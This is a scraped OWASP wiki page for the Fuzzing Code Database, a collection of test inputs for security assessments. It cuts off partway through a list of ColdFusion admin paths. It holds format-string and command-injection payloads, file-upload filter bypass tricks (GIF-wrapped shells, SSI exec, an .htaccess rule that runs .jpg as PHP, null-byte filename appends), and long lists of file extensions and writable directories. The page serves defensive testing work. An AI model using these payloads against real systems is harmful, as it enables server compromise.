%p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80062 2010-03-17T20:40:27Z

<p>Adam.muntner: /* File Upload Filter Bypass (Update: 17 March 2009 - notes */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 - notes ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htacces in an upload folder on Apache httpd, try setting .jpg to executable<br /> #<br /> # example .htaccess:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> # Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> %00index.html<br /> ;index.html<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> # Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar <br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> # Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> <br /> # Commonly writable directories<br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> <br /> <br /> <br /> === (Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863) ===<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === (Compressed File Types - (Update: 16 March 2009 - Total Statements: 187) ===<br /> &lt;pre&gt;.0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === (Uncommon Data File Extensions (Update: 16 March 2009 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> 